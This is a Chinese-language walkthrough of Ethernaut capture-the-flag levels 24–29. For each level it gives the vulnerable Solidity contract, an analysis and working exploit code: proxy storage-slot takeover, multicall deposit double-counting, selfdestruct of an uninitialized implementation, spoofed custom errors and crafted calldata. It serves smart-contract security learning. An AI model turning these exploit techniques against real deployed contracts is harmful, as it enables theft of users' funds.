二十四.Puzzle Wallet Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; pragma experimental ABIEncoderV2; import "../helpers/UpgradeableProxy-08.sol"; contract PuzzleProxy is UpgradeableProxy { address public pendingAdmin; address public admin; constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) { admin = _admin; } modifier onlyAdmin { require(msg.sender == admin, "Caller is not the admin"); _; } function proposeNewAdmin(address _newAdmin) external { pendingAdmin = _newAdmin; } function approveNewAdmin(address _expectedAdmin) external onlyAdmin { require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin"); admin = pendingAdmin; } function upgradeTo(address _newImplementation) external onlyAdmin { _upgradeTo(_newImplementation); } } contract PuzzleWallet { address public owner; uint256 public maxBalance; mapping(address => bool) public whitelisted; mapping(address => uint256) public balances; function init(uint256 _maxBalance) public { require(maxBalance == 0, "Already initialized"); maxBalance = _maxBalance; owner = msg.sender; } modifier onlyWhitelisted { require(whitelisted[msg.sender], "Not whitelisted"); _; } function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted { require(address(this).balance == 0, "Contract balance is not 0"); maxBalance = _maxBalance; } function addToWhitelist(address addr) external { require(msg.sender == owner, "Not the owner"); whitelisted[addr] = true; } function deposit() external payable onlyWhitelisted { require(address(this).balance <= maxBalance, "Max balance reached"); balances[msg.sender] += msg.value; } function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted { require(balances[msg.sender] >= value, "Insufficient balance"); balances[msg.sender] -= value; (bool success, ) = to.call{ value: value }(data); require(success, "Execution failed"); } function multicall(bytes[] calldata data) external payable onlyWhitelisted { bool depositCalled = false; for (uint256 i = 0; i < data.length; i++) { bytes memory _data = data[i]; bytes4 selector; assembly { selector := mload(add(_data, 32)) } if (selector == this.deposit.selector) { require(!depositCalled, "Deposit can only be called once"); // Protect against reusing msg.value depositCalled = true; } (bool success, ) = address(this).delegatecall(data[i]); require(success, "Error while delegating call"); } } }
Analysis 这道题用到了代理合约,但是插槽用的相同位置的,而代理合约之间的调用是用delegatecall()
完成的,所以会覆盖掉,这道题思路很简单先调用proposeNewAdmin(address _newAdmin)
修改pendingAdmin
为自己的地址,再调用addToWhitelist(address addr)
函数,其中对比了owner
,而owner
的插槽为slot 0
,而在PuzzleProxy
合约中的slot 0
为pendingAdmi
所以绕过了判断条件,将自己的地址填入白名单,而想要修改代理合约的admin
就要通过修改Puzzlewallet
合约的maxBalance
,就需要调用setMaxBalance()
函数,首先要让该合约的余额为0
,就需要用execute()
函数去转走该合约的余额,但这个函数只能取走存入的钱的金额,所以就要利用multicall()
函数,通过这个函数调用deposit()
函数,再通过multicall()
调用multicall()
再调用deposit()
函数即可达成存入一次钱,但是账户拥有金额为双倍。
Attack 1 2 3 4 5 6 7 8 9 10 11 12 selector = web3.eth .abi .encodeFunctionSignature ("proposeNewAdmin(address)" ) param = web3.eth .abi .encodeParameter ("address" , player) data0 = selector + param await web3.eth .sendTransaction ({data :data0})await contract.addToWhitelist (player)data1 = web3.eth .abi .encodeFunctionSignature ("deposit()" ) data2 = web3.eth .abi .encodeFunctionSignature ("multicall(bytes[])" ) data3=web3.eth .abi .encodeParameter ('bytes[]' , [data1]) data4=data2+data3 await contract.multicall ([data1, data3], { value : toWei ('0.001' ) });await contract.execute (player,1000000000000000 )await contract.setMaxBalance (player)
二十五.Motorbike Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 // SPDX-License-Identifier: MIT pragma solidity <0.7.0; import "openzeppelin-contracts-06/utils/Address.sol"; import "openzeppelin-contracts-06/proxy/Initializable.sol"; contract Motorbike { // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1 bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; struct AddressSlot { address value; } // Initializes the upgradeable proxy with an initial implementation specified by `_logic`. constructor(address _logic) public { require(Address.isContract(_logic), "ERC1967: new implementation is not a contract"); _getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic; (bool success,) = _logic.delegatecall( abi.encodeWithSignature("initialize()") ); require(success, "Call failed"); } // Delegates the current call to `implementation`. function _delegate(address implementation) internal virtual { // solhint-disable-next-line no-inline-assembly assembly { calldatacopy(0, 0, calldatasize()) let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch result case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } // Fallback function that delegates calls to the address returned by `_implementation()`. // Will run if no other function in the contract matches the call data fallback () external payable virtual { _delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value); } // Returns an `AddressSlot` with member `value` located at `slot`. function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r_slot := slot } } } contract Engine is Initializable { // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1 bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; address public upgrader; uint256 public horsePower; struct AddressSlot { address value; } function initialize() external initializer { horsePower = 1000; upgrader = msg.sender; } // Upgrade the implementation of the proxy to `newImplementation` // subsequently execute the function call function upgradeToAndCall(address newImplementation, bytes memory data) external payable { _authorizeUpgrade(); _upgradeToAndCall(newImplementation, data); } // Restrict to upgrader role function _authorizeUpgrade() internal view { require(msg.sender == upgrader, "Can't upgrade"); } // Perform implementation upgrade with security checks for UUPS proxies, and additional setup call. function _upgradeToAndCall( address newImplementation, bytes memory data ) internal { // Initial upgrade and setup call _setImplementation(newImplementation); if (data.length > 0) { (bool success,) = newImplementation.delegatecall(data); require(success, "Call failed"); } } // Stores a new address in the EIP1967 implementation slot. function _setImplementation(address newImplementation) private { require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); AddressSlot storage r; assembly { r_slot := _IMPLEMENTATION_SLOT } r.value = newImplementation; } }
Analysis 这道题又是一个代理合约的题目,但是吸取了上一题的经验,对插槽的存储进行了优化,我们可以读取 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc
来获取Engine
合约的地址,读取了这个合约地址的变量就会发现它并没有实施初始化,我们就可以运行这个初始化函数将upgrader
改为我们的地址,然后去实施攻击合约
Attack 1 2 3 4 5 6 7 8 9 10 11 12 13 selector = web3.utils.keccak256("initialize()").slice(0,10) await web3.eth.sendTransaction({from:player,to:engine,data:selector}) // SPDX-License-Identifier: MIT pragma solidity 0.7.0; contract Attack{ function attack(address payable _addr) public { selfdestruct(_addr); } }
二十六.DoubleEntryPoint Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "openzeppelin-contracts-08/access/Ownable.sol"; import "openzeppelin-contracts-08/token/ERC20/ERC20.sol"; interface DelegateERC20 { function delegateTransfer(address to, uint256 value, address origSender) external returns (bool); } interface IDetectionBot { function handleTransaction(address user, bytes calldata msgData) external; } interface IForta { function setDetectionBot(address detectionBotAddress) external; function notify(address user, bytes calldata msgData) external; function raiseAlert(address user) external; } contract Forta is IForta { mapping(address => IDetectionBot) public usersDetectionBots; mapping(address => uint256) public botRaisedAlerts; function setDetectionBot(address detectionBotAddress) external override { usersDetectionBots[msg.sender] = IDetectionBot(detectionBotAddress); } function notify(address user, bytes calldata msgData) external override { if(address(usersDetectionBots[user]) == address(0)) return; try usersDetectionBots[user].handleTransaction(user, msgData) { return; } catch {} } function raiseAlert(address user) external override { if(address(usersDetectionBots[user]) != msg.sender) return; botRaisedAlerts[msg.sender] += 1; } } contract CryptoVault { address public sweptTokensRecipient; IERC20 public underlying; constructor(address recipient) { sweptTokensRecipient = recipient; } function setUnderlying(address latestToken) public { require(address(underlying) == address(0), "Already set"); underlying = IERC20(latestToken); } /* ... */ function sweepToken(IERC20 token) public { require(token != underlying, "Can't transfer underlying token"); token.transfer(sweptTokensRecipient, token.balanceOf(address(this))); } } contract LegacyToken is ERC20("LegacyToken", "LGT"), Ownable { DelegateERC20 public delegate; function mint(address to, uint256 amount) public onlyOwner { _mint(to, amount); } function delegateToNewContract(DelegateERC20 newContract) public onlyOwner { delegate = newContract; } function transfer(address to, uint256 value) public override returns (bool) { if (address(delegate) == address(0)) { return super.transfer(to, value); } else { return delegate.delegateTransfer(to, value, msg.sender); } } } contract DoubleEntryPoint is ERC20("DoubleEntryPointToken", "DET"), DelegateERC20, Ownable { address public cryptoVault; address public player; address public delegatedFrom; Forta public forta; constructor(address legacyToken, address vaultAddress, address fortaAddress, address playerAddress) { delegatedFrom = legacyToken; forta = Forta(fortaAddress); player = playerAddress; cryptoVault = vaultAddress; _mint(cryptoVault, 100 ether); } modifier onlyDelegateFrom() { require(msg.sender == delegatedFrom, "Not legacy contract"); _; } modifier fortaNotify() { address detectionBot = address(forta.usersDetectionBots(player)); // Cache old number of bot alerts uint256 previousValue = forta.botRaisedAlerts(detectionBot); // Notify Forta forta.notify(player, msg.data); // Continue execution _; // Check if alarms have been raised if(forta.botRaisedAlerts(detectionBot) > previousValue) revert("Alert has been triggered, reverting"); } function delegateTransfer( address to, uint256 value, address origSender ) public override onlyDelegateFrom fortaNotify returns (bool) { _transfer(origSender, to, value); return true; } }
Analysis 这道题我们不可以直接用CryptoVault
调用sweepToken()
去转走DET
,但是我们可以调用LegacyToken
,通过它的transfer()
去调用DoubleEntryPoint
的delegateTransfer()
转走代币,而CryptoVault
拥有的LGT
数量和DET
相等,就可以掏空,所以我们这里要检测这个forta.notify(player, msg.data)
中,msg.data
里的origSender
是否是CryptoVault
,如果是就调用raiseAlert()
即可
Attack 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 contract attack{ IForta a; address cryptoVault; constructor(address _a,address _cryptoVault){ a=IForta(_a); cryptoVault=_cryptoVault; } function handleTransaction(address user, bytes calldata msgData) external{ address to; uint256 value; address origSender; (to,value,origSender)=abi.decode(msgData[4:],(address,uint256,address)); if(origSender == cryptoVault) { a.raiseAlert(user); } } }
二十七.Good Samaritan Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 // SPDX-License-Identifier: MIT pragma solidity >=0.8.0 <0.9.0; import "openzeppelin-contracts-08/utils/Address.sol"; contract GoodSamaritan { Wallet public wallet; Coin public coin; constructor() { wallet = new Wallet(); coin = new Coin(address(wallet)); wallet.setCoin(coin); } function requestDonation() external returns(bool enoughBalance){ // donate 10 coins to requester try wallet.donate10(msg.sender) { return true; } catch (bytes memory err) { if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) { // send the coins left wallet.transferRemainder(msg.sender); return false; } } } } contract Coin { using Address for address; mapping(address => uint256) public balances; error InsufficientBalance(uint256 current, uint256 required); constructor(address wallet_) { // one million coins for Good Samaritan initially balances[wallet_] = 10**6; } function transfer(address dest_, uint256 amount_) external { uint256 currentBalance = balances[msg.sender]; // transfer only occurs if balance is enough if(amount_ <= currentBalance) { balances[msg.sender] -= amount_; balances[dest_] += amount_; if(dest_.isContract()) { // notify contract INotifyable(dest_).notify(amount_); } } else { revert InsufficientBalance(currentBalance, amount_); } } } contract Wallet { // The owner of the wallet instance address public owner; Coin public coin; error OnlyOwner(); error NotEnoughBalance(); modifier onlyOwner() { if(msg.sender != owner) { revert OnlyOwner(); } _; } constructor() { owner = msg.sender; } function donate10(address dest_) external onlyOwner { // check balance left if (coin.balances(address(this)) < 10) { revert NotEnoughBalance(); } else { // donate 10 coins coin.transfer(dest_, 10); } } function transferRemainder(address dest_) external onlyOwner { // transfer balance left coin.transfer(dest_, coin.balances(address(this))); } function setCoin(Coin coin_) external onlyOwner { coin = coin_; } } interface INotifyable { function notify(uint256 amount) external; }
Analysis 这道题很简单,GoodSamaritan
合约会先调用Wallet
合约的donate10()
函数,这个函数会Coin
合约中本地址代币数量是否小于10,如果没小于就会向目标地址发送10个代币,如果小于10就会抛出异常错误信息,而在GoodSamaritan
合约中就会抓取错误信息,之后调用Wallet
合约的transferRemainder()
函数将本地址所有代币发送给调用者。所以我们只需要想办法抛出错误信息NotEnoughBalance()
即可,这时我们发现Coin
合约中的transfer()
函数会检测目标地址是否为合约,如果是合约就会调用合约的notify()
函数,所以我们可以在这个函数中检测当数量小于等于10时,抛出相同的错误信息即可
Attack 1 2 3 4 5 6 7 8 9 10 11 12 13 14 contract Attack is INotifyable{ error NotEnoughBalance(); GoodSamaritan target = GoodSamaritan(0x918b40E961031a9F2F2Fc5c25F83b0BF821b98A0); function attack() public{ target.requestDonation(); } function notify(uint256 amount) external pure{ if(amount<=10) { revert NotEnoughBalance(); } } }
二十八.Gatekeeper Three Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract SimpleTrick { GatekeeperThree public target; address public trick; uint private password = block.timestamp; constructor (address payable _target) { target = GatekeeperThree(_target); } function checkPassword(uint _password) public returns (bool) { if (_password == password) { return true; } password = block.timestamp; return false; } function trickInit() public { trick = address(this); } function trickyTrick() public { if (address(this) == msg.sender && address(this) != trick) { target.getAllowance(password); } } } contract GatekeeperThree { address public owner; address public entrant; bool public allowEntrance; SimpleTrick public trick; function construct0r() public { owner = msg.sender; } modifier gateOne() { require(msg.sender == owner); require(tx.origin != owner); _; } modifier gateTwo() { require(allowEntrance == true); _; } modifier gateThree() { if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) { _; } } function getAllowance(uint _password) public { if (trick.checkPassword(_password)) { allowEntrance = true; } } function createTrick() public { trick = new SimpleTrick(payable(address(this))); trick.trickInit(); } function enter() public gateOne gateTwo gateThree { entrant = tx.origin; } receive () external payable {} }
Analysis 这道题很简单需要我们通过三个modifier
即可,第一个需要msg.sender
是合约的owner
,但tx.origin
不是owner
,这个条件我们只需要用合约去调用,并让合约成为owner
即可,而让合约成为owner
只需要调用constryct0r()
就好,第二个验证让allowEntrance = true
即可,我们只需要在一次交易内获取block.timestamp
并且创建SimpleTrick
即可,最后的验证需要本地址余额大于0.001 ether
并且发送给owner 0.001 ether
失败即可,就让合约在fallback()
处添加个revert()
就完成了
Attack 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 contract Attack{ GatekeeperThree target = GatekeeperThree(payable(0x24702dd8619d99fAAdA93C2B7303227EdE422bf4)); uint public password; constructor() payable{ payable(target).send(0.002 ether); } function attack() public{ target.construct0r(); password = block.timestamp; target.createTrick(); target.getAllowance(password); target.enter(); } fallback() external payable{ revert(); } }
二十九.Switch Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Switch { bool public switchOn; // switch is off bytes4 public offSelector = bytes4(keccak256("turnSwitchOff()")); modifier onlyThis() { require(msg.sender == address(this), "Only the contract can call this"); _; } modifier onlyOff() { // we use a complex data type to put in memory bytes32[1] memory selector; // check that the calldata at position 68 (location of _data) assembly { calldatacopy(selector, 68, 4) // grab function selector from calldata } require( selector[0] == offSelector, "Can only call the turnOffSwitch function" ); _; } function flipSwitch(bytes memory _data) public onlyOff { (bool success, ) = address(this).call(_data); require(success, "call failed :("); } function turnSwitchOn() public onlyThis { switchOn = true; } function turnSwitchOff() public onlyThis { switchOn = false; } }
Analysis 这道题考验的是calldata
的编写方式,只需要让calldata
的68个字节后是bytes4(keccak256("turnSwitchOff()"))
,而实际偏移量不是68字节即可。
相关学习资料:https://blog.softbinator.com/solving-ethernaut-level-29-switch/
Attack 1 await sendTransaction ({from : player, to : contract.address , data :"0x30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000020606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000" })